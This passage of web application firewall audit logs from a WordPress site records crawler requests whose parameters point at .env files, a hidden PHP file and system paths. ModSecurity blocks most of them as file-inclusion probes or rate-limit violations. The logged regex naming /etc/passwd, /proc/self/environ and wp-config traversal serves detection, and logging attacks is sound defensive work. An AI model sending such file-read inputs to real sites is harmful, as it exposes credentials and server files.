(CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.3/include/php/Zend/zend_language_scanner.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":4175,"p3":0,"p4":0,"p5":357,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:58:13.215113 +0100","transaction_id":"abPRpH29rYkRMjwGQQbJzAAAAJU","remote_address":"57.141.20.52","remote_port":43396,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/it/LC_MESSAGES/gprof.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"3562b31dd45eadd04c15441cd2b1fd79","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12520177"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3562b31dd45eadd04c15441cd2b1fd79","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/it/LC_MESSAGES/gprof.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":296,"p2":5571,"p3":0,"p4":0,"p5":403,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:59:04.535991 +0100","transaction_id":"abPR2BuPle8UYRaPh9L4jwAAAU0","remote_address":"144.76.32.237","remote_port":34614,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/htdocs/.quarantaine/unzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"144.76.32.237","X-Forwarded-Proto":"https","X-Request-Id":"54fce70eeaa635c2d31addf1ad30b89a","X-L-Admin-Auth":"0","Accept":"text/plain,text/html,application/xhtml+xml,application/xml","User-Agent":"Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3705579","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"54fce70eeaa635c2d31addf1ad30b89a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/\\\\..+\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"290\"] [id \"430015\"] [msg \"Malware.Expert - request_uri: hidden .php execute\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/\\\\\\\\\\\\\\\\..+\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"290\"] [id \"430015\"] [msg \"Malware.Expert - request_uri: hidden .php execute\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/harvest/\"] [unique_id \"abPR2BuPle8UYRaPh9L4jwAAAU0\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/\\\\..+\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":258,"p2":4131,"p3":0,"p4":0,"p5":279,"sr":128,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:59:24.272421 +0100","transaction_id":"abPR6329rYkRMjwGQQbK9QAAAJg","remote_address":"114.119.145.169","remote_port":53334,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/127836551 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.145.169","X-Forwarded-Proto":"http","X-Request-Id":"2d1db9e6005ec9239ade7d31230a2866","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239753","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2d1db9e6005ec9239ade7d31230a2866","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":163,"p2":2887,"p3":0,"p4":0,"p5":204,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:00:25.397644 +0100","transaction_id":"abPSKXOLliqCo9FxU0QVSAAAAAw","remote_address":"216.73.216.152","remote_port":59758,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsite_data_2024%2F.env.example HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"46beafe40ef13a5176fe3b58407d0264","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7998863"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"46beafe40ef13a5176fe3b58407d0264","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPSKXOLliqCo9FxU0QVSAAAAAw\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"/.env\" at REQUEST_URI."},"stopwatch":{"p1":197,"p2":3090,"p3":0,"p4":0,"p5":357,"sr":173,"sw":85,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:00:25.496427 +0100","transaction_id":"abPSKXhj1Fyg-cNIPtg9-AAAA4Q","remote_address":"216.73.216.152","remote_port":59740,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2%2F.env.example HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9b142daf02430c5bf8f7c503ae236595","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7998866"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9b142daf02430c5bf8f7c503ae236595","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPSKXhj1Fyg-cNIPtg9-AAAA4Q\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"/.env\" at REQUEST_URI."},"stopwatch":{"p1":281,"p2":4299,"p3":0,"p4":0,"p5":421,"sr":225,"sw":110,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:22.805586 +0100","transaction_id":"abPSnn29rYkRMjwGQQbNaQAAAI0","remote_address":"114.119.140.84","remote_port":55364,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/118212251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"d1715da72cf3c484233b25bb6e6beaad","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11832460","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"d1715da72cf3c484233b25bb6e6beaad","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":270,"p2":4147,"p3":0,"p4":0,"p5":309,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:34.548500 +0100","transaction_id":"abPSqhuPle8UYRaPh9L60wAAAUk","remote_address":"216.73.216.152","remote_port":59672,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco.net%2Fsingle-product.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0f010c4fb6c32abe036079d43acc9240","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291918"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0f010c4fb6c32abe036079d43acc9240","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco.net/single-product.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":269,"p2":2563,"p3":0,"p4":0,"p5":562,"sr":142,"sw":116,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:34.864838 +0100","transaction_id":"abPSqj9srhFspgypfcBXnAAAAkk","remote_address":"216.73.216.152","remote_port":48164,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco.net%2Fshop.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ebb608ea57a5f55cd8ef1b74ed59d477","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12061831"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"ebb608ea57a5f55cd8ef1b74ed59d477","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco.net/shop.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":268,"p2":2725,"p3":0,"p4":0,"p5":548,"sr":180,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:34.884193 +0100","transaction_id":"abPSqj9srhFspgypfcBXnQAAAkk","remote_address":"216.73.216.152","remote_port":48164,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsite_data_2024%2FREADME.md HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b6b20ead6e296fd6b6858f6646209a15","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9571446"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b6b20ead6e296fd6b6858f6646209a15","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/site_data_2024/README.md& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":352,"p2":2990,"p3":0,"p4":0,"p5":477,"sr":159,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:34.925013 +0100","transaction_id":"abPSqj9srhFspgypfcBXngAAAkk","remote_address":"216.73.216.152","remote_port":48164,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2%2F.env.example HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fd7b018c974e5bf54e77502804f7fb17","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12061834"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fd7b018c974e5bf54e77502804f7fb17","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito2/.env.example& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":282,"p2":5346,"p3":0,"p4":0,"p5":462,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:34.943601 +0100","transaction_id":"abPSqnOLliqCo9FxU0QWWgAAABc","remote_address":"216.73.216.152","remote_port":44246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcoopo.jmkconsulting-ci.com%2Ferror.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b8829608bce2c2efba6f8ea3ce7ab970","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9996207"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b8829608bce2c2efba6f8ea3ce7ab970","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/coopo.jmkconsulting-ci.com/error.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":338,"p2":3118,"p3":0,"p4":0,"p5":510,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:02:34.982147 +0100","transaction_id":"abPSqnOLliqCo9FxU0QWWwAAABc","remote_address":"216.73.216.152","remote_port":44246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fsite_data_2024%2F.env.example HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4e466456ffcd00e817141014f63793fa","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12061837"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4e466456ffcd00e817141014f63793fa","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/site_data_2024/.env.example& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":230,"p2":2085,"p3":0,"p4":0,"p5":470,"sr":120,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
